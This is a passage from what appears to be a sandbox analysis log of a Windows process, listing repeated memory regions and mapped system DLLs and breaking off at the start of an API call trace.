pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1174 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1175 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1176 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1177 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1178 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1179 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1180 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1181 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1182 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1183 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1184 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1185 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1186 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1187 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1188 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1189 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1190 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1191 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1192 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1193 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1194 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1195 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1196 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1197 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1198 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1199 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1200 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1201 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1202 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1203 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1204 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1205 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1206 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1207 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1208 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1209 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1210 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1211 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1212 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1213 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1214 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1215 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1216 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1217 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1218 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1219 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1220 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 1221 start_va = 0x1d50000 end_va = 0x1d61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 1222 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1223 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 1224 start_va = 0x7fefcb70000 end_va = 0x7fefcb8dfff monitored = 0 entry_point = 0x7fefcb713b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1225 start_va = 0x7fefd7d0000 end_va = 0x7fefd7defff monitored = 0 entry_point = 0x7fefd7d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1226 start_va = 0x7fefba20000 end_va = 0x7fefba35fff monitored = 0 entry_point = 0x7fefba211a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1227 start_va = 0x7fefba10000 end_va = 0x7fefba1bfff monitored = 0 entry_point = 0x7fefba118a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1228 start_va = 0x7fefd5c0000 end_va = 0x7fefd5e2fff monitored = 0 entry_point = 0x7fefd5c1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1229 start_va = 0x7fefb9f0000 end_va = 0x7fefba04fff monitored = 0 entry_point = 0x7fefb9f1050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1230 start_va = 0x28ee0000 end_va = 0x290dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000028ee0000" filename = "" Region: id = 1231 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1232 start_va = 0x7fefb9d0000 end_va = 0x7fefb9e3fff monitored = 0 entry_point = 0x7fefb9d16b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1233 start_va = 0x7fefc2b0000 end_va = 0x7fefc2ccfff monitored = 0 entry_point = 0x7fefc2b1ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1996 start_va = 0x7fefd060000 end_va = 0x7fefd0b4fff monitored = 0 entry_point = 0x7fefd061054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1997 start_va = 0x280b0000 end_va = 0x2817ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000280b0000" filename = "" Region: id = 1998 start_va = 0x7fefca60000 end_va = 0x7fefca66fff monitored = 0 entry_point = 0x7fefca614b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1999 start_va = 0x7fefd050000 end_va = 0x7fefd056fff monitored = 0 entry_point = 0x7fefd05142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2000 start_va = 0x7fefcee0000 end_va = 0x7fefcf3afff monitored = 0 entry_point = 0x7fefcee6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2001 start_va = 0x290e0000 end_va = 0x292dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000290e0000" filename = "" Region: id = 2002 start_va = 0x7fefb2c0000 end_va = 0x7fefb2e6fff monitored = 0 entry_point = 0x7fefb2c98bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2003 start_va = 0x7fefb2b0000 end_va = 0x7fefb2bafff monitored = 0 entry_point = 0x7fefb2b1198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2004 start_va = 0x7fefa770000 end_va = 0x7fefa777fff monitored = 0 entry_point = 0x7fefa771414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2005 start_va = 0x7fefaca0000 end_va = 0x7fefacf2fff monitored = 0 entry_point = 0x7fefaca2b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2006 start_va = 0x292e0000 end_va = 0x2953ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000292e0000" filename = "" Region: id = 2007 start_va = 0x1d50000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 2008 start_va = 0x278f0000 end_va = 0x2792ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000278f0000" filename = "" Region: id = 2009 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2010 start_va = 0x1d90000 end_va = 0x1da1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 2011 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2012 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2013 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2014 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2015 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2016 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2017 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2018 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2019 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2020 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2021 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2022 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2023 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2024 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2025 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2026 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2027 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2028 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2029 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2030 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2031 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2032 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2033 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2034 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2035 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2036 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2037 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2038 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2039 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2040 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2041 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2042 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2043 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2044 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2045 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2046 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2047 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2048 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2049 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2050 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2051 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2052 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2053 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2054 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2055 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2056 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2057 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2058 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2059 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2060 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2061 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2062 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2063 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2064 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2065 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2066 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2067 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2068 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2069 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2070 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2071 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2072 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2073 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2074 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2075 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2076 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2077 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2078 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2079 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2080 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2081 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2082 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2083 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2084 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2085 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2086 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2087 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2088 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2089 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2090 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2091 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2092 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2093 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2094 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2095 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2096 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2097 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2098 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2099 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2100 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2101 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2102 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2103 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2104 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2105 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2106 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2107 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2108 start_va = 0x490000 end_va = 0x49dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2196 start_va = 0xc000400000 end_va = 0xc0007fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000c000400000" filename = "" Region: id = 2197 start_va = 0x1d90000 end_va = 0x1da1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Thread: id = 1 os_tid = 0xf68 [0091.852] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x77660000 [0091.854] GetProcAddress (hModule=0x77660000, lpProcName="AddAtomA") returned 0x776c6a10 [0091.854] GetProcAddress (hModule=0x77660000, lpProcName="AddVectoredExceptionHandler") returned 0x77963ad0 [0091.854] GetProcAddress (hModule=0x77660000, 